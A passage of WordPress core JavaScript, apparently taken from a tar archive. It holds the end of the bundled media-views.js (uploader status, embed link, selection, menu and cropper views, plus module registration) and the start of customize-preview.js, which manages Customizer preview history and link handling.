selector ); }, this ); this.visibility(); this.progress(); this.info(); }, progress: function() { var queue = this.queue, $bar = this.$bar; if ( ! $bar || ! queue.length ) { return; } $bar.width( ( queue.reduce( function( memo, attachment ) { if ( ! attachment.get('uploading') ) { return memo + 100; } var percent = attachment.get('percent'); return memo + ( _.isNumber( percent ) ? percent : 100 ); }, 0 ) / queue.length ) + '%' ); }, info: function() { var queue = this.queue, index = 0, active; if ( ! queue.length ) { return; } active = this.queue.find( function( attachment, i ) { index = i; return attachment.get('uploading'); }); if ( this.$index && this.$total && this.$filename ) { this.$index.text( index + 1 ); this.$total.text( queue.length ); this.$filename.html( active ? this.filename( active.get('filename') ) : '' ); } }, /** * @param {string} filename * @return {string} */ filename: function( filename ) { return _.escape( filename ); }, /** * @param {Backbone.Model} error */ error: function( error ) { var statusError = new wp.media.view.UploaderStatusError( { filename: this.filename( error.get( 'file' ).name ), message: error.get( 'message' ) } ); var buttonClose = this.$el.find( 'button' ); // Can show additional info here while retrying to create image sub-sizes. this.views.add( '.upload-errors', statusError, { at: 0 } ); _.delay( function() { buttonClose.trigger( 'focus' ); wp.a11y.speak( error.get( 'message' ), 'assertive' ); }, 1000 ); }, dismiss: function() { var errors = this.views.get('.upload-errors'); if ( errors ) { _.invoke( errors, 'remove' ); } wp.Uploader.errors.reset(); // Move focus to the modal after the dismiss button gets removed from the DOM. if ( this.controller.modal ) { this.controller.modal.focusManager.focus(); } } }); module.exports = UploaderStatus; /***/ }), /***/ 8232: /***/ ((module) => { var $ = jQuery, EmbedLink; /** * wp.media.view.EmbedLink * * @memberOf wp.media.view * * @class * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ EmbedLink = wp.media.view.Settings.extend(/** @lends wp.media.view.EmbedLink.prototype */{ className: 'embed-link-settings', template: wp.template('embed-link-settings'), initialize: function() { this.listenTo( this.model, 'change:url', this.updateoEmbed ); }, updateoEmbed: _.debounce( function() { var url = this.model.get( 'url' ); // Clear out previous results. this.$('.embed-container').hide().find('.embed-preview').empty(); this.$( '.setting' ).hide(); // Only proceed with embed if the field contains more than 11 characters. // Example: http://a.io is 11 chars if ( url && ( url.length < 11 || ! url.match(/^http(s)?:\/\//) ) ) { return; } this.fetch(); }, wp.media.controller.Embed.sensitivity ), fetch: function() { var url = this.model.get( 'url' ), re, youTubeEmbedMatch; // Check if they haven't typed in 500 ms. if ( $('#embed-url-field').val() !== url ) { return; } if ( this.dfd && 'pending' === this.dfd.state() ) { this.dfd.abort(); } // Support YouTube embed urls, since they work once in the editor. re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/; youTubeEmbedMatch = re.exec( url ); if ( youTubeEmbedMatch ) { url = 'https://www.youtube.com/watch?v=' + youTubeEmbedMatch[ 1 ]; } this.dfd = wp.apiRequest({ url: wp.media.view.settings.oEmbedProxyUrl, data: { url: url, maxwidth: this.model.get( 'width' ), maxheight: this.model.get( 'height' ) }, type: 'GET', dataType: 'json', context: this }) .done( function( response ) { this.renderoEmbed( { data: { body: response.html || '' } } ); } ) .fail( this.renderFail ); }, renderFail: function ( response, status ) { if ( 'abort' === status ) { return; } this.$( '.link-text' ).show(); }, renderoEmbed: function( response ) { var html = ( response && response.data && response.data.body ) || ''; if ( html ) { this.$('.embed-container').show().find('.embed-preview').html( html ); } else { this.renderFail(); } } }); module.exports = EmbedLink; /***/ }), /***/ 8282: /***/ ((module) => { var _n = wp.i18n._n, sprintf = wp.i18n.sprintf, Selection; /** * wp.media.view.Selection * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Selection = wp.media.View.extend(/** @lends wp.media.view.Selection.prototype */{ tagName: 'div', className: 'media-selection', template: wp.template('media-selection'), events: { 'click .edit-selection': 'edit', 'click .clear-selection': 'clear' }, initialize: function() { _.defaults( this.options, { editable: false, clearable: true }); /** * @member {wp.media.view.Attachments.Selection} */ this.attachments = new wp.media.view.Attachments.Selection({ controller: this.controller, collection: this.collection, selection: this.collection, model: new Backbone.Model() }); this.views.set( '.selection-view', this.attachments ); this.collection.on( 'add remove reset', this.refresh, this ); this.controller.on( 'content:activate', this.refresh, this ); }, ready: function() { this.refresh(); }, refresh: function() { // If the selection hasn't been rendered, bail. if ( ! this.$el.children().length ) { return; } var collection = this.collection, editing = 'edit-selection' === this.controller.content.mode(); // If nothing is selected, display nothing. this.$el.toggleClass( 'empty', ! collection.length ); this.$el.toggleClass( 'one', 1 === collection.length ); this.$el.toggleClass( 'editing', editing ); this.$( '.count' ).text( /* translators: %s: Number of selected media attachments. */ sprintf( _n( '%s item selected', '%s items selected', collection.length ), collection.length ) ); }, edit: function( event ) { event.preventDefault(); if ( this.options.editable ) { this.options.editable.call( this, this.collection ); } }, clear: function( event ) { event.preventDefault(); this.collection.reset(); // Move focus to the modal. this.controller.modal.focusManager.focus(); } }); module.exports = Selection; /***/ }), /***/ 8291: /***/ ((module) => { var $ = jQuery, UploaderWindow; /** * wp.media.view.UploaderWindow * * An uploader window that allows for dragging and dropping media. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * * @param {object} [options] Options hash passed to the view. * @param {object} [options.uploader] Uploader properties. * @param {jQuery} [options.uploader.browser] * @param {jQuery} [options.uploader.dropzone] jQuery collection of the dropzone. * @param {object} [options.uploader.params] */ UploaderWindow = wp.media.View.extend(/** @lends wp.media.view.UploaderWindow.prototype */{ tagName: 'div', className: 'uploader-window', template: wp.template('uploader-window'), initialize: function() { var uploader; this.$browser = $( '<button type="button" class="browser" />' ).hide().appendTo( 'body' ); uploader = this.options.uploader = _.defaults( this.options.uploader || {}, { dropzone: this.$el, browser: this.$browser, params: {} }); // Ensure the dropzone is a jQuery collection. if ( uploader.dropzone && ! (uploader.dropzone instanceof $) ) { uploader.dropzone = $( uploader.dropzone ); } this.controller.on( 'activate', this.refresh, this ); this.controller.on( 'detach', function() { this.$browser.remove(); }, this ); }, refresh: function() { if ( this.uploader ) { this.uploader.refresh(); } }, ready: function() { var postId = wp.media.view.settings.post.id, dropzone; // If the uploader already exists, bail. if ( this.uploader ) { return; } if ( postId ) { this.options.uploader.params.post_id = postId; } this.uploader = new wp.Uploader( this.options.uploader ); dropzone = this.uploader.dropzone; dropzone.on( 'dropzone:enter', _.bind( this.show, this ) ); dropzone.on( 'dropzone:leave', _.bind( this.hide, this ) ); $( this.uploader ).on( 'uploader:ready', _.bind( this._ready, this ) ); }, _ready: function() { this.controller.trigger( 'uploader:ready' ); }, show: function() { var $el = this.$el.show(); // Ensure that the animation is triggered by waiting until // the transparent element is painted into the DOM. _.defer( function() { $el.css({ opacity: 1 }); }); }, hide: function() { var $el = this.$el.css({ opacity: 0 }); wp.media.transition( $el ).done( function() { // Transition end events are subject to race conditions. // Make sure that the value is set as intended. if ( '0' === $el.css('opacity') ) { $el.hide(); } }); // https://core.trac.wordpress.org/ticket/27341 _.delay( function() { if ( '0' === $el.css('opacity') && $el.is(':visible') ) { $el.hide(); } }, 500 ); } }); module.exports = UploaderWindow; /***/ }), /***/ 8612: /***/ ((module) => { var Library = wp.media.controller.Library, l10n = wp.media.view.l10n, $ = jQuery, CollectionEdit; /** * wp.media.controller.CollectionEdit * * A state for editing a collection, which is used by audio and video playlists, * and can be used for other collections. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.Library * @augments wp.media.controller.State * @augments Backbone.Model * * @param {object} [attributes] The attributes hash passed to the state. * @param {string} attributes.title Title for the state. Displays in the media menu and the frame's title region. * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to edit. * If one is not supplied, an empty media.model.Selection collection is created. * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled. * @param {string} [attributes.content=browse] Initial mode for the content region. * @param {string} attributes.menu Initial mode for the menu region. @todo this needs a better explanation. * @param {boolean} [attributes.searchable=false] Whether the library is searchable. * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection. * @param {boolean} [attributes.date=true] Whether to show the date filter in the browser's toolbar. * @param {boolean} [attributes.describe=true] Whether to offer UI to describe the attachments - e.g. captioning images in a gallery. * @param {boolean} [attributes.dragInfo=true] Whether to show instructional text about the attachments being sortable. * @param {boolean} [attributes.dragInfoText] Instructional text about the attachments being sortable. * @param {int} [attributes.idealColumnWidth=170] The ideal column width in pixels for attachments. * @param {boolean} [attributes.editing=false] Whether the gallery is being created, or editing an existing instance. * @param {int} [attributes.priority=60] The priority for the state link in the media menu. * @param {boolean} [attributes.syncSelection=false] Whether the Attachments selection should be persisted from the last state. * Defaults to false for this state, because the library passed in *is* the selection. * @param {view} [attributes.SettingsView] The view to edit the collection instance settings (e.g. Playlist settings with "Show tracklist" checkbox). * @param {view} [attributes.AttachmentView] The single `Attachment` view to be used in the `Attachments`. * If none supplied, defaults to wp.media.view.Attachment.EditLibrary. * @param {string} attributes.type The collection's media type. (e.g. 'video'). * @param {string} attributes.collectionType The collection type. (e.g. 'playlist'). */ CollectionEdit = Library.extend(/** @lends wp.media.controller.CollectionEdit.prototype */{ defaults: { multiple: false, sortable: true, date: false, searchable: false, content: 'browse', describe: true, dragInfo: true, idealColumnWidth: 170, editing: false, priority: 60, SettingsView: false, syncSelection: false }, /** * @since 3.9.0 */ initialize: function() { var collectionType = this.get('collectionType'); if ( 'video' === this.get( 'type' ) ) { collectionType = 'video-' + collectionType; } this.set( 'id', collectionType + '-edit' ); this.set( 'toolbar', collectionType + '-edit' ); // If we haven't been provided a `library`, create a `Selection`. if ( ! this.get('library') ) { this.set( 'library', new wp.media.model.Selection() ); } // The single `Attachment` view to be used in the `Attachments` view. if ( ! this.get('AttachmentView') ) { this.set( 'AttachmentView', wp.media.view.Attachment.EditLibrary ); } Library.prototype.initialize.apply( this, arguments ); }, /** * @since 3.9.0 */ activate: function() { var library = this.get('library'); // Limit the library to images only. library.props.set( 'type', this.get( 'type' ) ); // Watch for uploaded attachments. this.get('library').observe( wp.Uploader.queue ); this.frame.on( 'content:render:browse', this.renderSettings, this ); Library.prototype.activate.apply( this, arguments ); }, /** * @since 3.9.0 */ deactivate: function() { // Stop watching for uploaded attachments. this.get('library').unobserve( wp.Uploader.queue ); this.frame.off( 'content:render:browse', this.renderSettings, this ); Library.prototype.deactivate.apply( this, arguments ); }, /** * Render the collection embed settings view in the browser sidebar. * * @todo This is against the pattern elsewhere in media. Typically the frame * is responsible for adding region mode callbacks. Explain. * * @since 3.9.0 * * @param {wp.media.view.attachmentsBrowser} The attachments browser view. */ renderSettings: function( attachmentsBrowserView ) { var library = this.get('library'), collectionType = this.get('collectionType'), dragInfoText = this.get('dragInfoText'), SettingsView = this.get('SettingsView'), obj = {}; if ( ! library || ! attachmentsBrowserView ) { return; } library[ collectionType ] = library[ collectionType ] || new Backbone.Model(); obj[ collectionType ] = new SettingsView({ controller: this, model: library[ collectionType ], priority: 40 }); attachmentsBrowserView.sidebar.set( obj ); if ( dragInfoText ) { attachmentsBrowserView.toolbar.set( 'dragInfo', new wp.media.View({ el: $( '<div class="instructions">' + dragInfoText + '</div>' )[0], priority: -40 }) ); } // Add the 'Reverse order' button to the toolbar. attachmentsBrowserView.toolbar.set( 'reverse', { text: l10n.reverseOrder, priority: 80, click: function() { library.reset( library.toArray().reverse() ); } }); } }); module.exports = CollectionEdit; /***/ }), /***/ 8815: /***/ ((module) => { /** * wp.media.view.PriorityList * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var PriorityList = wp.media.View.extend(/** @lends wp.media.view.PriorityList.prototype */{ tagName: 'div', initialize: function() { this._views = {}; this.set( _.extend( {}, this._views, this.options.views ), { silent: true }); delete this.options.views; if ( ! this.options.silent ) { this.render(); } }, /** * @param {string} id * @param {wp.media.View|Object} view * @param {Object} options * @return {wp.media.view.PriorityList} Returns itself to allow chaining. */ set: function( id, view, options ) { var priority, views, index; options = options || {}; // Accept an object with an `id` : `view` mapping. if ( _.isObject( id ) ) { _.each( id, function( view, id ) { this.set( id, view ); }, this ); return this; } if ( ! (view instanceof Backbone.View) ) { view = this.toView( view, id, options ); } view.controller = view.controller || this.controller; this.unset( id ); priority = view.options.priority || 10; views = this.views.get() || []; _.find( views, function( existing, i ) { if ( existing.options.priority > priority ) { index = i; return true; } }); this._views[ id ] = view; this.views.add( view, { at: _.isNumber( index ) ? index : views.length || 0 }); return this; }, /** * @param {string} id * @return {wp.media.View} */ get: function( id ) { return this._views[ id ]; }, /** * @param {string} id * @return {wp.media.view.PriorityList} */ unset: function( id ) { var view = this.get( id ); if ( view ) { view.remove(); } delete this._views[ id ]; return this; }, /** * @param {Object} options * @return {wp.media.View} */ toView: function( options ) { return new wp.media.View( options ); } }); module.exports = PriorityList; /***/ }), /***/ 9013: /***/ ((module) => { var MenuItem; /** * wp.media.view.MenuItem * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ MenuItem = wp.media.View.extend(/** @lends wp.media.view.MenuItem.prototype */{ tagName: 'button', className: 'media-menu-item', attributes: { type: 'button', role: 'tab' }, events: { 'click': '_click' }, /** * Allows to override the click event. */ _click: function() { var clickOverride = this.options.click; if ( clickOverride ) { clickOverride.call( this ); } else { this.click(); } }, click: function() { var state = this.options.state; if ( state ) { this.controller.setState( state ); // Toggle the menu visibility in the responsive view. this.views.parent.$el.removeClass( 'visible' ); // @todo Or hide on any click, see below. } }, /** * @return {wp.media.view.MenuItem} returns itself to allow chaining. */ render: function() { var options = this.options, menuProperty = options.state || options.contentMode; if ( options.text ) { this.$el.text( options.text ); } else if ( options.html ) { this.$el.html( options.html ); } // Set the menu item ID based on the frame state associated to the menu item. this.$el.attr( 'id', 'menu-item-' + menuProperty ); return this; } }); module.exports = MenuItem; /***/ }), /***/ 9141: /***/ ((module) => { /** * wp.media.view.Spinner * * Represents a spinner in the Media Library. * * @since 3.9.0 * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Spinner = wp.media.View.extend(/** @lends wp.media.view.Spinner.prototype */{ tagName: 'span', className: 'spinner', spinnerTimeout: false, delay: 400, /** * Shows the spinner. Delays the visibility by the configured amount. * * @since 3.9.0 * * @return {wp.media.view.Spinner} The spinner. */ show: function() { if ( ! this.spinnerTimeout ) { this.spinnerTimeout = _.delay(function( $el ) { $el.addClass( 'is-active' ); }, this.delay, this.$el ); } return this; }, /** * Hides the spinner. * * @since 3.9.0 * * @return {wp.media.view.Spinner} The spinner. */ hide: function() { this.$el.removeClass( 'is-active' ); this.spinnerTimeout = clearTimeout( this.spinnerTimeout ); return this; } }); module.exports = Spinner; /***/ }), /***/ 9458: /***/ ((module) => { var Toolbar = wp.media.view.Toolbar, l10n = wp.media.view.l10n, Select; /** * wp.media.view.Toolbar.Select * * @memberOf wp.media.view.Toolbar * * @class * @augments wp.media.view.Toolbar * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Select = Toolbar.extend(/** @lends wp.media.view.Toolbar.Select.prototype */{ initialize: function() { var options = this.options; _.bindAll( this, 'clickSelect' ); _.defaults( options, { event: 'select', state: false, reset: true, close: true, text: l10n.select, // Does the button rely on the selection? requires: { selection: true } }); options.items = _.defaults( options.items || {}, { select: { style: 'primary', text: options.text, priority: 80, click: this.clickSelect, requires: options.requires } }); // Call 'initialize' directly on the parent class. Toolbar.prototype.initialize.apply( this, arguments ); }, clickSelect: function() { var options = this.options, controller = this.controller; if ( options.close ) { controller.close(); } if ( options.event ) { controller.state().trigger( options.event ); } if ( options.state ) { controller.setState( options.state ); } if ( options.reset ) { controller.reset(); } } }); module.exports = Select; /***/ }), /***/ 9660: /***/ ((module) => { var Controller = wp.media.controller, CustomizeImageCropper; /** * A state for cropping an image in the customizer. * * @since 4.3.0 * * @constructs wp.media.controller.CustomizeImageCropper * @memberOf wp.media.controller * @augments wp.media.controller.CustomizeImageCropper.Cropper * @inheritDoc */ CustomizeImageCropper = Controller.Cropper.extend(/** @lends wp.media.controller.CustomizeImageCropper.prototype */{ /** * Posts the crop details to the admin. * * Uses crop measurements when flexible in both directions. * Constrains flexible side based on image ratio and size of the fixed side. * * @since 4.3.0 * * @param {Object} attachment The attachment to crop. * * @return {$.promise} A jQuery promise that represents the crop image request. */ doCrop: function( attachment ) { var cropDetails = attachment.get( 'cropDetails' ), control = this.get( 'control' ), ratio = cropDetails.width / cropDetails.height; // Use crop measurements when flexible in both directions. if ( control.params.flex_width && control.params.flex_height ) { cropDetails.dst_width = cropDetails.width; cropDetails.dst_height = cropDetails.height; // Constrain flexible side based on image ratio and size of the fixed side. } else { cropDetails.dst_width = control.params.flex_width ? control.params.height * ratio : control.params.width; cropDetails.dst_height = control.params.flex_height ? control.params.width / ratio : control.params.height; } return wp.ajax.post( 'crop-image', { wp_customize: 'on', nonce: attachment.get( 'nonces' ).edit, id: attachment.get( 'id' ), context: control.id, cropDetails: cropDetails } ); } }); module.exports = CustomizeImageCropper; /***/ }), /***/ 9875: /***/ ((module) => { /** * wp.media.controller.Region * * A region is a persistent application layout area. * * A region assumes one mode at any time, and can be switched to another. * * When mode changes, events are triggered on the region's parent view. * The parent view will listen to specific events and fill the region with an * appropriate view depending on mode. For example, a frame listens for the * 'browse' mode t be activated on the 'content' view and then fills the region * with an AttachmentsBrowser view. * * @memberOf wp.media.controller * * @class * * @param {Object} options Options hash for the region. * @param {string} options.id Unique identifier for the region. * @param {Backbone.View} options.view A parent view the region exists within. * @param {string} options.selector jQuery selector for the region within the parent view. */ var Region = function( options ) { _.extend( this, _.pick( options || {}, 'id', 'view', 'selector' ) ); }; // Use Backbone's self-propagating `extend` inheritance method. Region.extend = Backbone.Model.extend; _.extend( Region.prototype,/** @lends wp.media.controller.Region.prototype */{ /** * Activate a mode. * * @since 3.5.0 * * @param {string} mode * * @fires Region#activate * @fires Region#deactivate * * @return {wp.media.controller.Region} Returns itself to allow chaining. */ mode: function( mode ) { if ( ! mode ) { return this._mode; } // Bail if we're trying to change to the current mode. if ( mode === this._mode ) { return this; } /** * Region mode deactivation event. * * @event wp.media.controller.Region#deactivate */ this.trigger('deactivate'); this._mode = mode; this.render( mode ); /** * Region mode activation event. * * @event wp.media.controller.Region#activate */ this.trigger('activate'); return this; }, /** * Render a mode. * * @since 3.5.0 * * @param {string} mode * * @fires Region#create * @fires Region#render * * @return {wp.media.controller.Region} Returns itself to allow chaining. */ render: function( mode ) { // If the mode isn't active, activate it. if ( mode && mode !== this._mode ) { return this.mode( mode ); } var set = { view: null }, view; /** * Create region view event. * * Region view creation takes place in an event callback on the frame. * * @event wp.media.controller.Region#create * @type {object} * @property {object} view */ this.trigger( 'create', set ); view = set.view; /** * Render region view event. * * Region view creation takes place in an event callback on the frame. * * @event wp.media.controller.Region#render * @type {object} */ this.trigger( 'render', view ); if ( view ) { this.set( view ); } return this; }, /** * Get the region's view. * * @since 3.5.0 * * @return {wp.media.View} */ get: function() { return this.view.views.first( this.selector ); }, /** * Set the region's view as a subview of the frame. * * @since 3.5.0 * * @param {Array|Object} views * @param {Object} [options={}] * @return {wp.Backbone.Subviews} Subviews is returned to allow chaining. */ set: function( views, options ) { if ( options ) { options.add = false; } return this.view.views.set( this.selector, views, options ); }, /** * Trigger regional view events on the frame. * * @since 3.5.0 * * @param {string} event * @return {undefined|wp.media.controller.Region} Returns itself to allow chaining. */ trigger: function( event ) { var base, args; if ( ! this._mode ) { return; } args = _.toArray( arguments ); base = this.id + ':' + event; // Trigger `{this.id}:{event}:{this._mode}` event on the frame. args[0] = base + ':' + this._mode; this.view.trigger.apply( this.view, args ); // Trigger `{this.id}:{event}` event on the frame. args[0] = base; this.view.trigger.apply( this.view, args ); return this; } }); module.exports = Region; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /** * @output wp-includes/js/media-views.js */ var media = wp.media, $ = jQuery, l10n; media.isTouchDevice = ( 'ontouchend' in document ); // Link any localized strings. l10n = media.view.l10n = window._wpMediaViewsL10n || {}; // Link any settings. media.view.settings = l10n.settings || {}; delete l10n.settings; // Copy the `post` setting over to the model settings. media.model.settings.post = media.view.settings.post; // Check if the browser supports CSS 3.0 transitions. $.support.transition = (function(){ var style = document.documentElement.style, transitions = { WebkitTransition: 'webkitTransitionEnd', MozTransition: 'transitionend', OTransition: 'oTransitionEnd otransitionend', transition: 'transitionend' }, transition; transition = _.find( _.keys( transitions ), function( transition ) { return ! _.isUndefined( style[ transition ] ); }); return transition && { end: transitions[ transition ] }; }()); /** * A shared event bus used to provide events into * the media workflows that 3rd-party devs can use to hook * in. */ media.events = _.extend( {}, Backbone.Events ); /** * Makes it easier to bind events using transitions. * * @param {string} selector * @param {number} sensitivity * @return {Promise} */ media.transition = function( selector, sensitivity ) { var deferred = $.Deferred(); sensitivity = sensitivity || 2000; if ( $.support.transition ) { if ( ! (selector instanceof $) ) { selector = $( selector ); } // Resolve the deferred when the first element finishes animating. selector.first().one( $.support.transition.end, deferred.resolve ); // Just in case the event doesn't trigger, fire a callback. _.delay( deferred.resolve, sensitivity ); // Otherwise, execute on the spot. } else { deferred.resolve(); } return deferred.promise(); }; media.controller.Region = __webpack_require__( 9875 ); media.controller.StateMachine = __webpack_require__( 6150 ); media.controller.State = __webpack_require__( 5694 ); media.selectionSync = __webpack_require__( 4181 ); media.controller.Library = __webpack_require__( 472 ); media.controller.ImageDetails = __webpack_require__( 705 ); media.controller.GalleryEdit = __webpack_require__( 2038 ); media.controller.GalleryAdd = __webpack_require__( 7127 ); media.controller.CollectionEdit = __webpack_require__( 8612 ); media.controller.CollectionAdd = __webpack_require__( 7145 ); media.controller.FeaturedImage = __webpack_require__( 1169 ); media.controller.ReplaceImage = __webpack_require__( 2275 ); media.controller.EditImage = __webpack_require__( 5663 ); media.controller.MediaLibrary = __webpack_require__( 8065 ); media.controller.Embed = __webpack_require__( 4910 ); media.controller.Cropper = __webpack_require__( 5422 ); media.controller.CustomizeImageCropper = __webpack_require__( 9660 ); media.controller.SiteIconCropper = __webpack_require__( 6172 ); media.View = __webpack_require__( 4747 ); media.view.Frame = __webpack_require__( 1061 ); media.view.MediaFrame = __webpack_require__( 2836 ); media.view.MediaFrame.Select = __webpack_require__( 455 ); media.view.MediaFrame.Post = __webpack_require__( 4274 ); media.view.MediaFrame.ImageDetails = __webpack_require__( 5424 ); media.view.Modal = __webpack_require__( 2621 ); media.view.FocusManager = __webpack_require__( 718 ); media.view.UploaderWindow = __webpack_require__( 8291 ); media.view.EditorUploader = __webpack_require__( 3674 ); media.view.UploaderInline = __webpack_require__( 1753 ); media.view.UploaderStatus = __webpack_require__( 8197 ); media.view.UploaderStatusError = __webpack_require__( 6442 ); media.view.Toolbar = __webpack_require__( 5275 ); media.view.Toolbar.Select = __webpack_require__( 9458 ); media.view.Toolbar.Embed = __webpack_require__( 397 ); media.view.Button = __webpack_require__( 846 ); media.view.ButtonGroup = __webpack_require__( 168 ); media.view.PriorityList = __webpack_require__( 8815 ); media.view.MenuItem = __webpack_require__( 9013 ); media.view.Menu = __webpack_require__( 1 ); media.view.RouterItem = __webpack_require__( 6327 ); media.view.Router = __webpack_require__( 4783 ); media.view.Sidebar = __webpack_require__( 1992 ); media.view.Attachment = __webpack_require__( 4075 ); media.view.Attachment.Library = __webpack_require__( 3443 ); media.view.Attachment.EditLibrary = __webpack_require__( 5232 ); media.view.Attachments = __webpack_require__( 8142 ); media.view.Search = __webpack_require__( 2102 ); media.view.AttachmentFilters = __webpack_require__( 7709 ); media.view.DateFilter = __webpack_require__( 6472 ); media.view.AttachmentFilters.Uploaded = __webpack_require__( 1368 ); media.view.AttachmentFilters.All = __webpack_require__( 7349 ); media.view.AttachmentsBrowser = __webpack_require__( 6829 ); media.view.Selection = __webpack_require__( 8282 ); media.view.Attachment.Selection = __webpack_require__( 3962 ); media.view.Attachments.Selection = __webpack_require__( 3479 ); media.view.Attachment.EditSelection = __webpack_require__( 4593 ); media.view.Settings = __webpack_require__( 1915 ); media.view.Settings.AttachmentDisplay = __webpack_require__( 7656 ); media.view.Settings.Gallery = __webpack_require__( 7266 ); media.view.Settings.Playlist = __webpack_require__( 2356 ); media.view.Attachment.Details = __webpack_require__( 6090 ); media.view.AttachmentCompat = __webpack_require__( 2982 ); media.view.Iframe = __webpack_require__( 1982 ); media.view.Embed = __webpack_require__( 5741 ); media.view.Label = __webpack_require__( 4338 ); media.view.EmbedUrl = __webpack_require__( 7327 ); media.view.EmbedLink = __webpack_require__( 8232 ); media.view.EmbedImage = __webpack_require__( 2395 ); media.view.ImageDetails = __webpack_require__( 2650 ); media.view.Cropper = __webpack_require__( 7637 ); media.view.SiteIconCropper = __webpack_require__( 443 ); media.view.SiteIconPreview = __webpack_require__( 7810 ); media.view.EditImage = __webpack_require__( 6126 ); media.view.Spinner = __webpack_require__( 9141 ); media.view.Heading = __webpack_require__( 170 ); /******/ })() ; customize-preview.js 0000644 00000066470 15111757752 0010633 0 ustar 00 /* * Script run inside a Customizer preview frame. * * @output wp-includes/js/customize-preview.js */ (function( exports, $ ){ var api = wp.customize, debounce, currentHistoryState = {}; /* * Capture the state that is passed into history.replaceState() and history.pushState() * and also which is returned in the popstate event so that when the changeset_uuid * gets updated when transitioning to a new changeset there the current state will * be supplied in the call to history.replaceState(). */ ( function( history ) { var injectUrlWithState; if ( ! history.replaceState ) { return; } /** * Amend the supplied URL with the customized state. * * @since 4.7.0 * @access private * * @param {string} url URL. * @return {string} URL with customized state. */ injectUrlWithState = function( url ) { var urlParser, oldQueryParams, newQueryParams; urlParser = document.createElement( 'a' ); urlParser.href = url; oldQueryParams = api.utils.parseQueryString( location.search.substr( 1 ) ); newQueryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) ); newQueryParams.customize_changeset_uuid = oldQueryParams.customize_changeset_uuid; if ( oldQueryParams.customize_autosaved ) { newQueryParams.customize_autosaved = 'on'; } if ( oldQueryParams.customize_theme ) { newQueryParams.customize_theme = oldQueryParams.customize_theme; } if ( oldQueryParams.customize_messenger_channel ) { newQueryParams.customize_messenger_channel = oldQueryParams.customize_messenger_channel; } urlParser.search = $.param( newQueryParams ); return urlParser.href; }; history.replaceState = ( function( nativeReplaceState ) { return function historyReplaceState( data, title, url ) { currentHistoryState = data; return nativeReplaceState.call( history, data, title, 'string' === typeof url && url.length > 0 ? injectUrlWithState( url ) : url ); }; } )( history.replaceState ); history.pushState = ( function( nativePushState ) { return function historyPushState( data, title, url ) { currentHistoryState = data; return nativePushState.call( history, data, title, 'string' === typeof url && url.length > 0 ? injectUrlWithState( url ) : url ); }; } )( history.pushState ); window.addEventListener( 'popstate', function( event ) { currentHistoryState = event.state; } ); }( history ) ); /** * Returns a debounced version of the function. * * @todo Require Underscore.js for this file and retire this. */ debounce = function( fn, delay, context ) { var timeout; return function() { var args = arguments; context = context || this; clearTimeout( timeout ); timeout = setTimeout( function() { timeout = null; fn.apply( context, args ); }, delay ); }; }; /** * @memberOf wp.customize * @alias wp.customize.Preview * * @constructor * @augments wp.customize.Messenger * @augments wp.customize.Class * @mixes wp.customize.Events */ api.Preview = api.Messenger.extend(/** @lends wp.customize.Preview.prototype */{ /** * @param {Object} params - Parameters to configure the messenger. * @param {Object} options - Extend any instance parameter or method with this object. */ initialize: function( params, options ) { var preview = this, urlParser = document.createElement( 'a' ); api.Messenger.prototype.initialize.call( preview, params, options ); urlParser.href = preview.origin(); preview.add( 'scheme', urlParser.protocol.replace( /:$/, '' ) ); preview.body = $( document.body ); preview.window = $( window ); if ( api.settings.channel ) { // If in an iframe, then intercept the link clicks and form submissions. preview.body.on( 'click.preview', 'a', function( event ) { preview.handleLinkClick( event ); } ); preview.body.on( 'submit.preview', 'form', function( event ) { preview.handleFormSubmit( event ); } ); preview.window.on( 'scroll.preview', debounce( function() { preview.send( 'scroll', preview.window.scrollTop() ); }, 200 ) ); preview.bind( 'scroll', function( distance ) { preview.window.scrollTop( distance ); }); } }, /** * Handle link clicks in preview. * * @since 4.7.0 * @access public * * @param {jQuery.Event} event Event. */ handleLinkClick: function( event ) { var preview = this, link, isInternalJumpLink; link = $( event.target ).closest( 'a' ); // No-op if the anchor is not a link. if ( _.isUndefined( link.attr( 'href' ) ) ) { return; } // Allow internal jump links and JS links to behave normally without preventing default. isInternalJumpLink = ( '#' === link.attr( 'href' ).substr( 0, 1 ) ); if ( isInternalJumpLink || ! /^https?:$/.test( link.prop( 'protocol' ) ) ) { return; } // If the link is not previewable, prevent the browser from navigating to it. if ( ! api.isLinkPreviewable( link[0] ) ) { wp.a11y.speak( api.settings.l10n.linkUnpreviewable ); event.preventDefault(); return; } // Prevent initiating navigating from click and instead rely on sending url message to pane. event.preventDefault(); /* * Note the shift key is checked so shift+click on widgets or * nav menu items can just result on focusing on the corresponding * control instead of also navigating to the URL linked to. */ if ( event.shiftKey ) { return; } // Note: It's not relevant to send scroll because sending url message will have the same effect. preview.send( 'url', link.prop( 'href' ) ); }, /** * Handle form submit. * * @since 4.7.0 * @access public * * @param {jQuery.Event} event Event. */ handleFormSubmit: function( event ) { var preview = this, urlParser, form; urlParser = document.createElement( 'a' ); 